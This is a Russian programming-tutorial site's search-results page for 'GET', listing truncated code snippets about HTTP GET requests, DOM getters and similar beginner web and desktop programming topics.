<MyRusakov.ru />

Создание игр на Unreal Engine 5

Создание игр на Unreal Engine 5

Данный курс научит Вас созданию игр на Unreal Engine 5. Курс состоит из 12 модулей, в которых Вы с нуля освоите этот движок и сможете создавать самые разные игры.

В курсе Вы получите всю необходимую теоретическую часть, а также увидите массу практических примеров. Дополнительно, почти к каждому уроку идут упражнения для закрепления материала.

Помимо самого курса Вас ждёт ещё 8 бесплатных ценных Бонусов: «Chaos Destruction», «Разработка 2D-игры», «Динамическая смена дня и ночи», «Создание динамической погоды», «Создание искусственного интеллекта для NPC», «Создание игры под мобильные устройства», «Создание прототипа RPG с открытым миром» и и весь курс «Создание игр на Unreal Engine 4» (актуальный и в 5-й версии), включающий в себя ещё десятки часов видеоуроков.

Подробнее
Уроки и статьи
Подписка

Подпишитесь на мой канал на YouTube, где я регулярно публикую новые видео.

YouTube Подписаться

Подписавшись по E-mail, Вы будете получать уведомления о новых статьях.

Подписка Подписаться

Добавляйтесь ко мне в друзья ВКонтакте! Отзывы о сайте и обо мне оставляйте в моей группе.

Мой аккаунт Мой аккаунт Моя группа
Опрос

Какая тема Вас интересует больше?

Поиск: GET

Что искали: GET

Всего найдено: 1046 записей

...             $this->filename = $filename;             $fileinfo = getimagesize($filename);             if(!$fileinfo) {                 throw new exception("image file corrupted: $filename");  ...
... расширить стандартный класс wp_widget и его функции и демонстрирует пример готового кода с одним текстовым полем. new_widget расширяет встроенный в wordpress ...
...     string title;     string body;     public string getuserid() {         return userid;     }     public post setuserid(string userid) { ...
... чтобы получить текущий год, используйте метод экземпляра getfullyear() объекта date. метод getfullyear() возвращает год указанной даты в конструкторе date: ...
... делегирование событий события в браузере всплывают от конкретного узла (event.target) вверх по дереву до документа. делегирование использует это поведение: ...
...         // получает названия листов книги в виде массива         $sheetnames = $spreadsheet->getsheetnames();         // возвращает количество листов в книге ...
... элемент даты и времени:var date = new date();document.write("год - " + date.getfullyear() + "<br />");document.write("месяц - " + date.getmonth() + "<br />");document.write("число - " + date.getdate() + "<br />");document.write("день ...
... // интерфейс всех телевизоров interface tv  {     function getbrand() : string; // возвращает производителя } // конкретная реализация телевизора ...
... них. как получить отдельные части даты метод getfullyear() получение года. let year = new date(); console.log(year.getfullyear()); // 2020 метод getmonth() получение месяца ...
... структура <div class="carousel-wrapper" style="height: 400px;">   <span id="target-item-1"></span>   <span id="target-item-2"></span>   <span id="target-item-3"></span>   <div class="carousel-item ...
... метаданных. пример с использованием метода get: <?php   $opts = [     'http' => [     'method' => "get",     'header' => "accept-language: ...
... которая до безобразия просто устанавливается из репозитория пакетов nuget. после установки пакетов приступим к написанию кода. базовый класс ...
... мы создадим атрибуты для различных http-методов, таких как get, post, put, и delete. #[attribute(attribute::target_method)] class route {     public function __construct(public string $path, public string $method) {} ...
... ниже приведен базовый пример кода, который демонстрирует, как выполнить get-запрос к веб-серверу и вывести полученные данные в консоль. using system; ...
... остаётся лёгким, изменённая реализация не пересобирает весь проект. // widget.hpp #ifndef widget_hpp #define widget_hpp #include <memory> class widget { public: widget(); ~widget(); void draw(); ...
... import org.apache.http.client.methods.httpget; import org.apache.http.impl.client.closeablehttpclient; import org.apache.http.impl.client.httpclients; import org.apache.http.util.entityutils; import java.io.ioexception; public class httpclientgetrequest { ...
... одна сущность. #include <memory> #include <iostream> #include <vector> struct widget { int id; explicit widget(int i) : id(i) { std::cout << "widget(" << id << ")\n"; } ~widget() { std::cout << ...
... рассмотрим, как использовать getboundingclientrect, его основные свойства и примеры применения. основные свойства метод getboundingclientrect возвращает объект ...
...   class user {    protected $loggedin = false;    protected $data = [];    public function getdata() {     return $this->data;    }    public function setdata($data) {     ...
... выглядит так: route::get('/', function () {     return view('welcome'); }); этот маршрут привязывает http-запрос метода get к корневому url ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit # главное окно приложения ...
...         $property = $meta->getattribute('property'); // извлекаем значение атрибута property         $content = $meta->getattribute('content'); // извлекаем значение атрибута content ...
...             // читаем список файлов из текущей папки - .             files.list(paths.get(".")).foreach(path -> system.out.println(path));         } ...
... новости из twitter и печатает их    public function getsocialfeeds() {     $twitsrv = new twitterservice();     print $twitsrv -> gettweets();    }   }   // класс   class ...
... package ru.myrusakov.rssapp import android.os.bundle import android.view.view import android.widget.adapterview import android.widget.toast import androidx.appcompat.app.appcompatactivity import androidx.recyclerview.widget.gridlayoutmanager ...
... продолжают работать, как они работали в ecmascript 5 let obj = {   get foo() {    console.log('get foo');    return 123;   },   set bar(value) {    console.log('set ...
...         // переменная определена изначально         public static function getname() {             return self::$name;         }  ...
... двигатель нашей задумки - javascript. (function() {   var video = document.getelementbyid('video'),    canvas = document.getelementbyid('canvas'),    context = canvas.getcontext('2d'), ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit class mainwidget(qwidget): ...
... import sys import random from pyside6.qtcore import qt, slot from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qlabel, qvboxlayout # главное окно приложения расширяет класс qwidget ...
... // сохранить строку localstorage.setitem('theme', 'dark'); // прочитать const theme = localstorage.getitem('theme'); // 'dark' // удалить ключ localstorage.removeitem('theme'); // очистить всё хранилище ...
... высокоуровневый класс httpclient. в приведенных примерах мы создадим простые запросы get и post. протокол передачи гипертекста (http) - это прикладной протокол для ...
...         $headerlength  = curl_getinfo($handle, curlinfo_header_size);         $httpcode      = curl_getinfo($handle, curlinfo_http_code);         $body          = substr($response, $headerlength); ...
...     return lines # возвращает 5 случайных вопросов def get_questions():     answers = read2list('answers_data.txt')     items = random.choices(population=answers, k=5) ...
... которое отобразит функционал поиска по истории. const openhistorybtn = document.getelementbyid('openhistorybtn'); openhistorybtn.addeventlistener('click', (e) => {     chrome.tabs.create({ url: 'history.html' }); ...
... <?php   function getrange( $max = 10 ) {    $array = [];    for( $i = 0; $i < $max; $i++ ) {     $array[] = $i;    }    return $array;   }   foreach (getrange(15) as $range) ...
... только get-запросы (как правило, это скрипты поиска). и вот чтобы обрабатывать и принимать данные и от таких скриптов, надо уметь отправлять get-запросы ...
...     * @annotation - обозначение аннотации     * @target({"class","method"}) - аннотация может применяться только к классам и методам классов ...
... и хендлеров. логгеры по модулям и иерархия # mymodule.py import logging logger = logging.getlogger(__name__) def divide(a, b): logger.debug("divide a=%s b=%s", a, b) # ленивое форматирование ...
... догадывались об этом. так, функции, работающие с потоками - это fopen(), file_get_contents(), file() и т.д. поэтому, фактически, вы уже используете файловые потоки ...
... http://shop.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=mobil_sale&utm_content=m-234&utm_term=buy+phone сгенерированная ссылка по сути является get-запросом и она нам чётко говорит, что этот человек пришел на сайт заказчика ...
в сегодняшней статье мы поговорим о функции getline() в c++. это встроенная функция, которая позволяет выводить в консоль все, вводимые с клавиатуры, ...
... написать статью, в которой рассказать о разнице между методом post и методом get, но всё как-то появлялись другие темы, и переключался на них. и вот, наконец-то, ...
... работы с параметрами командной строки, одним из которых является функция getopt. эта функция позволяет разработчикам легко обрабатывать аргументы, ...
... 9) ? isecs : "0" + isecs); var smins ="" + ((imins > 9) ? imins : "0" + imins); document.getelementbyid("timer-counter").innerhtml = smins+":"+ssecs; settimeout('getsecs()', 1000); } //]]> вы здесь уже: минут/секунд. getsecs(); ...
... script.js !(function () {   const form = document.getelementbyid("form");   const username = document.getelementbyid("username");   const email = document.getelementbyid("email"); ...
... настроили, пришло время научиться делать get-запросы. одним из наиболее распространенных http методов является get. метод get предназначен для получения ...
... using microsoft.data.sqlite; // эту библиотеку для работы с sqlite берем из пакетного менеджера nuget using system.data; using system.reflection; using system.text; namespace csharpsqlitedemo {    ...
... объявляем переменную, говорим что у нас есть пустая ячейка multi_1 = document.getelementbyid('inp_1').value; и туда надо что-то положить (присвоить). положим ...
... копируете ссылку, например такую – http://news.yandex.ru/gadgets.rss. далее необходимо прочитать содержимое файла gadgets.rss, для этого воспользуемся встроенной в ...
...                 name: document.getelementbyid('name').value,                 position: document.getelementbyid('position').value,                 education: document.getelementbyid('education').value, ...
... document.queryselectorall(".img-src");   for (let i = 0; i < images.length; i++)   {    let image = images[i];    alert(image.getattribute(src));   } смотрите, как просто. единственное, что вам нужно- ...
... арифметические действия. html разметка возьмем за основу бутстраповскую разметку (getbootstrap.com), из раздела components / forms. у нас должна получиться форма с двумя ...
...     // получаем ссылки на ячейки листа     function getcells(worksheet $sheet)     {         return function(string $cellname) use ($sheet) { ...
... новички часто не понимают, какой метод отправки данных использовать: post или get. а ведь оба эти методы были придуманы не как альтернатива друг другу, ...
... function.php. для подключения сайдбара к ядру wordpress используется хук widgets_init. add_action( 'widgets_init', 'theme_slug_widgets_init' ); регистрация сайдбара ...
...     <canvas id="breakevenchart" width="400" height="200"></canvas>     <script>     document.getelementbyid('breakevenform').addeventlistener('submit', function(e) {         e.preventdefault(); // предотвращаем перезагрузку страницы ...
...         for(uimanager.lookandfeelinfo theme : uimanager.getinstalledlookandfeels()) {             jbutton button = new jbutton(theme.getname());             button.setbounds(20, buttony, 100, 30); ...
... фильтров php filter_input(type, name, filter, options) — берёт значение напрямую из источника (get, post, cookie, server). filter_var(value, filter, options) — валидирует или фильтрует уже имеющееся ...
... так же есть индекс. так мы получим всю строку целиком: get_str = 'это строка' print(get_str) это строка а здесь, обратившись по индексу 5, получаем ...
... аргументах функции передадим объект event. в переменную target поместим цель объекта - event.target. в условии проверяем, что пользователь действительно ...
... принцип построения квадратичной кривой let canvas = document.getelementbyid('curve'); let ctx = canvas.getcontext('2d'); ctx.beginpath(); // начало нового пути ctx.linewidth = ...
... это используется достаточно часто, math.random() помещают внутрь функции function getrandom() {   return math.random(); } проблема, конечно, заключается в том, что функция ...
... вывести значение свойства background для этих блоков. var div1 = document.getelementbyid('div1'); var div2 = document.getelementbyid('div2'); alert(div1.style.background); alert(div2.style.background); в ...
... throw new runtimeexception("не удалось открыть файл: $path"); } try { return stream_get_contents($h) ?: ''; } finally { // finally выполнится всегда — даже при throw в try ...
... // обязательно подключаем данную библиотеку using system.collections.generic dictionary<string, string> imagetypes = new dictionary<string, string>(); //imagetypes.add("key", "value"); imagetypes.add("bmp", "bitmap"); ...
...                     <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbartogglerdemo02" aria-controls="navbartogglerdemo02" aria-expanded="false" aria-label="toggle navigation"> ...
... new montharr(31, 28, 31, 30, 31, 30, 31, 31, 30,31, 30, 31);  year = today.getyear();  if (year < 2000)    year = year + 1900;  thisday = today.getdate();  if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 ...
... выведутся в консоль при клике по списку. раскрываем всю эту цепочку mouseevent → target → tagname. дословный перевод: событие мыши → цель → имя тега. начинающие ...
... главное - javascript. (function() {   var video = document.getelementbyid('video'),    vendorurl = window.url || window.webkiturl;   navigator.getmedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia ...
... мы скопируем все данные из буфера обмена с помощью буфера метода clipboard.getdataobject(). буфер обмена может содержать изображения и другие типы, которые ...
... практике. создадим класс: class user {   public function getname() : string {    return 'john';   } } $user = new user; echo $user->getname(); как вы можете видеть, после имени ...
...     public function getamount() {         return $this->amount;     }     public function getcurrency() {         return $this->currency; ...
... function(e) {   if (shouldnotswipe(e.target)) {    e.preventdefault();   } }); list.addeventlistener('slip:swipe', function(e) {   if (thatwasswipetoremove) {    e.target.parentnode.removechild(e.target);   ...
... не было, то создаётся и возвращается (паттерн singleton) */   public static function getdb() {     if (self::$db == null) self::$db = new database();     return self::$db;   } ...
... // таблиц с данными request.onupgradeneeded = function(event) {   const db = event.target.result;   // создаем хранилище объектов (таблицу) с именем "users" и указываем поле "id" как ключ ...
... путём обращений к серверу через javascript, в большинстве случаев, это post и get запросы. и практически всегда такие сайты используют для этого ajax. и ...
... function displaygeneratedpassword() {   const length = parseint(document.getelementbyid("length").value);   const lowercase = document.getelementbyid("lowercase").checked;   const uppercase = document.getelementbyid("uppercase").checked; ...
... нового объекта с текущей датой и временем let daynumber = date.getdate(); // получение даты let month = date.getmonth(); // получение месяца let dayname = date.tolocalestring(lang,{weekday: 'long' ...
... function __construct() {    $this->db = new mysqli($host, $user, $pass, $database);   }   public function get() {}   public function set() {}   public function del() {} } $db1 = new db(); $db2 = new db(); у нас ...
...                         <a href="#" class="btn btn-outline-primary" data-bs-toggle="modal" data-bs-target="#video_modal"                             data-bs-video-url="https://www.youtube.com/embed/tlcnjemnlts">смотреть</a> ...
... размера шрифта: <?php   session_start(); // начинаем сессию   if ($_get["size"] == "big") { // если get-параметр равен big     $_session["size"] = 30; // помещаем в сессию ...
... в словарь рассмотрим пример использования условного оператора: def get_operation(operator):     if operator == 'add':         return lambda x, y: x + y ...
... import random # импортируем метод random # и в том же файле создадим метод get_random_position(), который генерирует случайный набор x, y координат на заданной поверхности surface, и возвращает результат в виде экземпляра класса vector ...
...     if (!document.getelementsbytagname) return;     var anchors = document.getelementsbytagname("a");     for (var i=0; i < anchors.length; i++) {       if (anchors[i].getattribute("href") && ...
...   * в метод request передается три параметра:    *   *   * 1. методы get, post   * 2. url на который отправляются данные формы ...
... # возвращает содержимое страницы в виде текста def get_page_content(url):     text = ''     res = requests.get(url, headers=headers)     if res.status_code != 404: ...
... подключить header.php в wordpress есть специальная функция для подключения header.php. get_header() из названия функции, уже понятно, что она делает - получает шаблон ...
... такой задачи, как вывода количества записей, мы будем использовать метод get_var (). выведем некоторое кол-во записей внизу сайта, например в футере. ...
... появилось много нового, и сегодня мы разберем один из новых псевдоклассов - target. target с английского переводится как "цель" и это не просто так. дело в том, ...
... offsetset - для установки значения в массиве по ключу offsetget - для получения значения из массива по ключу offsetexists - проверка ...
... передаётся скрипт-обработчик. теперь сам код этого обработчика: <?php   $targetfolder = '/uploads'; // куда загружать файлы   $verifytoken = md5('unique_salt' . $_post['timestamp']); ...
...         ],     ]);     $response = file_get_contents($url, false, $context);     $status_line = $http_response_header[0]; ...
... src="bower_components/greuler/dist/greuler.js"></script> использование для пользователя есть простые свойства: target – селектор контейнера, содержащего график data – объект, содержащий ...
... remove. list.onclick = function(event) {     if (event.target.tagname != 'span') return;     let childrenlist = event.target.parentnode.queryselector('ul');     if (!childrenlist) ...
...   getmodel() {    return "the model of the car is " + this.model;   } } как видите, очень похоже на другие языки. вызов также не выделяется. var bmw = new car("bmw"); alert(bmw.getmodel()); ...
... можете сделать что-то вроде этого: <?php   if(!isset($_get['show'])) {    die();   }   $show = $_get['show'];   $content = file_get_contents("content/{$show}.php"); ?> ...
... redirect.php <?php   require_once "classes/shortener.php";   if(isset($_get['code'])) {    $s = new shortener();    $code = $_get['code'];    if($url = $s->geturl($code)) {     ...
... div с id=block. если вы хотите отправить запрос типа get, то просто измените название метода с $.post() на $.get(), а параметры у него идентичные. $(document).ready(function(){ ...
...             request.onsuccess = (event) => resolve(event.target.result);             // ошибка открытия базы данных ...
...     public function login($username, $password)      {         $user = $this->userrepository->getuserbyusername($username);         if ($user && password_verify($password, $user['password'])) { ...
... инструмент для решения повседневных задач. 1. get-childitem: получение списка файлов и папок команда get-childitem является одной из самых часто используемых ...
... cookies = {'session_id': '123456789'} response = requests.get('https://example.com', cookies=cookies) print(response.text) получение cookie из ответа import requests response = requests.get('https://example.com') ...
...     # получение значения элемента trackbar     lh = cv2.gettrackbarpos("l_h", "tracking")      ls = cv2.gettrackbarpos("l_s", "tracking")     lv = cv2.gettrackbarpos("l_v", "tracking") ...
...         public int id { get; set; }         public string name { get; set; }         public int price { get; set; } ...
... решили заменить старый заголовок на новый «поиск dom элемента с помощью getelementbyid, не внося изменения напрямую в html код. как это сделать, используя ...
... $test->drawgrapharea(255, 255, 255, true); // рисуем графическую плоскость   $test->drawscale($dataset->getdata(), $dataset->getdatadescription(), scale_normal, 150, 150, 150, true, 0, 2); // рисуем оси и график   $test->drawgrid(4, ...
...  * @returns {promise<string[]>} массив строк - путей к файлам  */ async function getfiles(dir) {     // асинхронно читает содержимое директории ...
... {$user1->name} это важный и ключевой момент в понимании методов. public function getanketainfo(){     имя: {$this->name}     возраст: {$this->age} ...
... двигаться по горизонтали. let canvas = document.getelementbyid('canvas'); // получение холста в документе let ctx = canvas.getcontext('2d'); // получение контекста рисования ...
... контекст. надёжнее использовать event.currenttarget. document.queryselector('#btn').addeventlistener('click', function(e) { console.log(this === e.currenttarget); // true }); document.queryselector('#btn2').addeventlistener('click', ...
... метод get возвращает none или значение по умолчанию — это безопаснее. profile = {"name": "alex", "city": "minsk"} # чтение name = profile["name"] # "alex" city = profile.get("city") ...
... контейнеров и собственных типов. #include <initializer_list> #include <iostream> struct widget { widget(int a, int b) { std::cout << "(int,int)\n"; } widget(std::initializer_list<int> l) { std::cout << ...
... requests.get(). но есть одна проблема, так как данный метод загружает информацию целиком, что может перегрузить память. к счастью для нас, у метода get есть ...
... border-radius: 8px; } button { cursor: pointer; } </style> <script> const dialog = document.getelementbyid('modal'); document.getelementbyid('opendialog').addeventlistener('click', () => dialog.showmodal()); // логируем ...
... from datetime import date, timedelta # возвращает словарь месяц - период времени def get_work_months(year):     return {         'январь':   (year - 1, 12, year, 1), ...
... их открытыми совсем не хочется. тогда добавляют так называемые методы get и set:<?php  abstract class car {    protected $x;    protected $y;    ...
...     // загружает файл по переданному url     function get_url_content($url) {                  // настраиваем запрос ...
... локально, чтобы сразу видеть новое значение $_cookie[$name] = $value; } function cookie_get(string $name, $default = null) { return $_cookie[$name] ?? $default; } function cookie_delete(string $name, array $options ...
... удалось открыть input.txt\n"; return 1; } std::string line; size_t lines = 0; while (std::getline(in, line)) { ++lines; } std::cout << "строк в файле: " << lines << "\n"; ...
... import './index.css'; import app from './app'; reactdom.render(<app />, document.getelementbyid('root')); index.css * {   margin: 0;   padding: 0; ...
... содержит в себе все данные get и post запросов. class request {     private $storage; // переменная хранящая данные get и post      ...
... пользователь. для этого есть get-параметры, в котором мы передаём код языка (допустим, "ru" или "en"). далее мы в зависимости от значения get-параметра, берём нужный ...
... теперь приступим к реализации. база данных та же. в папке libs создадим файл get_comments.php с таким кодом: <?php   header("content-type: text/html; charset=utf-8");   $count = ...
...     public function getall(int $limit);     // возвращает строку таблицы по ее id - первичный ключ     public function get($id); ...
... date = new date('july 4, 2018'); // форматирование даты var datestamp = (date.getmonth() + 1) + '/' + date.getdate() + '/' + date.getfullyear(); // отображение на странице app.textcontent ...
...     header('access-control-allow-origin: *');     header('access-control-allow-methods: get, post');     header('access-control-max-age: 1000');     header('access-control-allow-headers: content-type, authorization, x-requested-with'); ...
... from selenium.webdriver.common.by import by # чтение английского содержимого def get_file_content(filename):     with open(filename, 'r') as fd:         return fd.read() ...
... корректно, но всё-таки знать их полезно: <?php   $ip = gethostbyname("vk.com");   echo $ip;   echo "<br />";   echo gethostbyaddr($ip);   echo "<br />";   print_r(gethostbynamel("vk.com")); ...
... сегодняшней статье я решил разобрать весьма полезную функцию, удаляющую любой get-параметр из строки. где это может быть нужно? допустим, вы делаете навигацию ...
...  *   * @param array $connectionconfig  * @return pdo  *   */ function getdbconnection(array $connectionconfig): pdo {     $host = $connectionconfig['host']; ...
... ним: setitem() — принимает пару ключ-значение и добавляет ее в localstorage. getitem() — принимает ключ и возвращает соответствующее значение removeitem() ...
... из коллекции используется метод get. обратимся к элементам по ключу и выведем их значения в консоль. console.log(map.get('str')); // string console.log(map.get(10)); ...
...     """создание виртуального окружения"""     folder = entry_folder.get()     env_name = entry_env_name.get() or "venv"     if not folder:         messagebox.showerror("ошибка", "выберите папку проекта!") ...
...             // получаем текст из текстового поля             const questionsinput = document.getelementbyid('questionsinput').value;             // разбиваем текст на массив вопросов, удаляя пустые строки ...
... <button id="btn">пуск</button> при клике по кнопке запустится функция getusers. функция будет получать ответ от сервера, а метод fetch распарсивать ...
... методы, привязанные только к одной конкретной роли. у объекта user есть метод getlessons() с какой-то базовой функциональностью. но у разных групп пользователей ...
... input.addeventlistener('keyup', (e) => {     const capslock = e.getmodifierstate('capslock');     const shift = e.getmodifierstate('shift'); }) функция getmodifierstate() возвращает ...
... следующим образом: def _process_game_logic(self):     for game_object in self._get_game_objects():         game_object.move(self.screen)     if self.spaceship: ...
...         // создаем объект холста (let canvas) из элемента холста html:         const canvas = document.getelementbyid("canvas");         // создаем 2d-объект для рисования на холсте: ...
... // выводим значения членов перечисления foreach (int i in enum.getvalues(typeof(day))) {     console.writeline(i); } // создаем перечисление для дней недели. ...
... на удаленном сервере можно использовать функцию file_get_contents. <?php $sitemap = file_get_contents("http://myrusakov.com/sitemap.xml"); ?> для чего-то более ...
... выведем результат в консоль. // получить элементы по имени тега let p = document.getelementsbytagname('p'); console.log(p); программа вывела в консоли коллекцию ...
...             system.err.println("используется так: " + javafileinfo.class.getname() + " имя_файла.txt");             system.exit(1); ...
... возможных способов запросов: get post delete put для каждого из них в express предусмотрен отдельный метод: app.get('route', fn) app.post('route', fn) ...
... данные. наиболее часто используемое у event объекта свойство - это target. конструкция event.target на этом уроке, мы по клику добавляли класс кнопке, оперируя ...
... найдем элемент form по идентификатору с помощью метода document.getelementbyid. const form = document.getelementbyid('form'); при отправки формы сработает событие ...
... class="simple_two"></div> <div class="example_2"></div> let getexamples = document.queryselectorall('.example_1, .example_2'); console.log(getexamples); результат из консоли: в каком-то ...
... сработает здесь и сейчас, под конкретную задачу. const form = document.getelementbyid('form'); function getformvalue(event) {     event.preventdefault();     // поиск ...
... # отправка запроса на сайт и получение ответа page = requests.get(url) # вывод статуса ответа print(page) #  <response[200]> # статус 200 говорит об успешном ответе ...
...     const ip = '12.09.123.4';          function getipinfo($ip = ip) {                  // api, который возвращает информацию в формате json ...
... from tkinter import stringvar, listbox from nltk.corpus import words from difflib import get_close_matches # скачиваем корпус слов, если еще не скачивали ...
... бесплатных запросов в месяц). код метода контроллера: public function getusersipinfo() {     $sql = "         select  ...
...     $connection = getdbconnection($connectionconfig);     // получаем все новости     $news = news_getall($connection);     // возвращаем отрисованый шаблон ...
... являются объектами. объекты могут быть независимыми: get /articles – получить все статьи get /articles/1036 – получить конкретную статью по идентификатору ...
...   trait singleton   {      private static $instance;      public static function getinstance() {       if (!(self::$instance instanceof singleton)) {        self::$instance ...
... вы увидите много свойств, описывающих объект события, одно из которых target, внутри которого ищем название тега tagname: button. мы вытащили из консоли, ...
... ссылку на нашу страницу.для этого напишем в теге <body> такой код:<a target = "_self" href = "index.html" title = "ссылка">ссылка на эту страницу</a>тег html <a> ...
... откроем файл default.js и перед выборкой #randominsert пропишем следующее: $.get('dashboard/xhrgetlistings', function(o) {   for(var i = 0; i < o.length; i++) {    $('#listinserts').append('<div>' ...
... parse_ini_file("shortlinks.ini"); // получаем массив данных из ini-файла   if(isset($_get["r"]) && array_key_exists($_get["r"], $shortlinks)) { // если передан правильный get-параметр     ...
... new reflectionparameter(['users\user', 'setdata'], 0);   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionparameter ...
... которые я знаю), существует и другая функция, которая называется getdate():<?php  $datetime = getdate();  foreach ($datetime as $k=>$v)    echo "$k - $v<br />";?>запустив ...
... с вами будем только два рассматривать) - это get и post. главное их отличие - это вид отправки: открытый (get) и закрытый (post). самый лучший способ понять, ...
...   $user = new users\user;   $ro = new reflectionobject($user);   echo '<pre>';   print_r(get_class_methods($ro));   echo '</pre>'; ?> как вы можете видеть, большинство ...
... проверка для изображений (защита от подмены) if (str_starts_with($mime, 'image/')) { $imgsize = @getimagesize($_files['file']['tmp_name']); if ($imgsize === false) { exit('файл не является валидным ...
... структура рассмотрим простой пример декоратора метода: function log(target, context) { const originalmethod = target; return function(...args) { console.log(`вызов ${context.name} с аргументами:`, ...
...       }     }     block = document.getelementbyid("block"); // получаем основной блок     block_r = document.getelementbyid("block_resize"); // получаем блок для изменения ...
... facebook\facebookredirectloginhelper('your url');   try {    if($session = $facebook->getsessionfromredirect()) {     $_session['facebook'] = $session->gettoken();     header('location index.php');    ...
... type="text/javascript">   /* данная функция создаёт кроссбраузерный объект xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... переменной n, значение полученное из input и оставим там на хранение. n = document.getelementbyid('num').value; надо убедиться, что пользователь ввел именно число, ...
... type="text/javascript">   function setcookie(name, value) {     document.cookie = name + "=" + value;   }   function getcookie(name) {     var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");     if ...
... шаг 1) найти все классы home отбираем все классы с помощью метода getelementsbyclassname (получить элементы с помощью класса). сначала объявим переменную ...
... значение перезапишется на новое. следующий метод getitem получит значение ключа. localstorage.getitem('age'); для удаления элемента из хранилища, ...
... javascript? <p>jquery - write less, do more.<p> мы написали бы так: var paragraph = document.getelementsbytagname("p"); теперь посмотрите, как просто получить параграф в jquery, ...
...         $this->email = $email;     }     public function getemail(): string {         return $this->email;     } ...
... установить сервер redis и расширение phpredis. установка redis: sudo apt-get update sudo apt-get install redis-server sudo systemctl enable redis-server.service sudo systemctl start redis-server.service ...
... операции указанной выше используется свой собственный http метод: get – получение post – создание put – обновление, модификация ...
...         const menu = document.getelementbyid(menu_id);         const menuitemheaders = menu.getelementsbyclassname(menu_item_header_class);         // перебор заголовков и установка состояния открытия/закрытия для каждого ...
... работает эта функция так: на сервер отправляется запрос с помощью http методов get и post, полученный ответ извлекается и отправляется пользователю в требуемом ...
...    }    public function getlink($name) {     return $this->_type->createlinkname($name);    }   }   $obj = new filestrategy();   $link1 = $obj->getlink("file_one");   $link2 = $obj->getlink("file_two"); ...
... продолжить, нам нужно установить пакет nuget для tesseract. перейдите во вкладку сервис > диспетчер пакетов nuget > консоль диспетчера пакетов, в появившемся ...
... и начнем мы как всегда с поиска картинки на странице при помощи метода getelementsbytagname. слово elements в названии метода указывает на то, что элементов ...
... } function one() {     document.getelementbyid("rocket").innerhtml = "установить связь с центром!"; } function two() {     document.getelementbyid("rocket").innerhtml = "пристегнуть ...
... int main() {   string site = "myrusakov";   cout << site;   cin.get(); // ожидание ввода символа   return 0; } конкатенация ...
...  *  возвращает отсортированный список путей к файлам с расширениям, перечисленными в   *  массиве $allowedextensions  *   */ function getfilessorted(filesystemiterator $files, array $allowedextensions = ['pdf']): array { ...
... движения, но и значения скорости. начнем с создания метода get_random_velosity() в файле space_rock/utils.py: def get_random_velocity(min_speed, max_speed):    speed = random.randint(min_speed, max_speed) ...
... <canvas id="canvas" width="800" height="600" style="border:1px solid #ccc;"></canvas> <script>   const canvas = document.getelementbyid('canvas');   const ctx = canvas.getcontext('2d');   /**    * рисует дерево рекурсивно ...
... окно по id. var modal = document.getelementbyid('mymodal'); получить кнопку, которая открывает модальное окно по id. var btn = document.getelementbyid("mybtn"); получить ...
... описание метода. делать мы это будем через php: <?php   $wall = file_get_contents("https://api.vk.com/method/wall.get?v=5.3&filter=others&domain=myrusakov&count=5");   print_r($wall); ?> в данном ...
...             const input = document.getelementbyid('fileinput');             const canvas = document.getelementbyid('canvas');             const ctx = canvas.getcontext('2d'); ...
...         return $this;     }     public function getquery() {         return $this->query;     } } ...
... атрибут "method". у него может быть одно из двух очень популярных значения: "post" и "get". этот атрибут определяет способ отправки. не буду вдаваться в подробности, ...
... исключения и вывод соответствующих уведомлений */   if ($e->getcode() == 1) echo "файл не найден";   elseif ($e->getcode() == 2) echo "файл закрыт для записи";   elseif ($e->getcode() ...
... <script type="text/javascript">   /* функция, создающая экземпляр xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... немедленно. геттеры и сеттеры чтобы создать getter и setter методы , нужно использовать ключевые слова get и set, за которыми следуют пробел и идентификатор. ...
... // выберите целевой узел для наблюдения const targetnode = document.getelementbyid('targetelement'); // настройте наблюдателя для отслеживания определенных типов мутаций ...
... <pre id="output"></pre> <script>   document.getelementbyid('fileinput').addeventlistener('change', function (event) {     const file = event.target.files[0];     const reader = new filereader(); ...
... использоваться для файла. в качестве второго параметра мы задаём путь, функция get_... сгенерирует путь к главному файлу стилей. обычно разработчики для ...
...     const record=await res.json();     document.getelementbyid("date").innerhtml=record.data[0].date;     document.getelementbyid("areaname").innerhtml=record.data[0].areaname;     document.getelementbyid("latestby").innerhtml=record.data[0].latestby; ...
...      * @return mixed      */     public function get($name) {         if (isset($_session[$name])) {             return $_session[$name]; ...
... на языке, заданным get-параметром. для начала создадим ini-файл "lang_en.ini":hello=helloworld=worldтеперь создадим php-скрипт:<?php  $lang = isset($_get['lang'])? $_get['lang']: "en";  ...
... вот простой пример процедуры, содержащей запрос к базе create procedure get_user(in user_id int) begin     select * from users where id = user_id; ...
... получаем дочерние элементы   for (var i = 0; i < elements.length; i++) {     $(elements.get(i)).attr("title", "заголовок"); // устанавливаем атрибут title="заголовок"   } ...
... фона   imagefilledrectangle($image, 0, 0, 170, 60, $white); // закрашиваем изображение   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", $_session['rand_code']); // рисуем текст на капче ...
...     [column(isprimarykey = true)]     public int id { get; set; }     [column]     public string name { get; set; }     [column]     public string city { get; set; } ...
... алгоритм. он наиболее короткий, и в то же время очень быстрый. <?php   function getword($number, $suffix) {     $keys = array(2, 0, 1, 1, 1, 2);     $mod = $number % 100;     ...
... # ввод текста для перевода пользователем def translate_text(text, source_lang=&#039;ru&#039;, target_lang=&#039;en&#039;):     # функция для перевода текста с заданного языка на целевой язык ...
... 'javascript'>  function starttime() {    var date = new date();    var hours = date.gethours();    var minutes = date.getminutes();    var seconds = date.getseconds();    if (hours < 10) hours ...
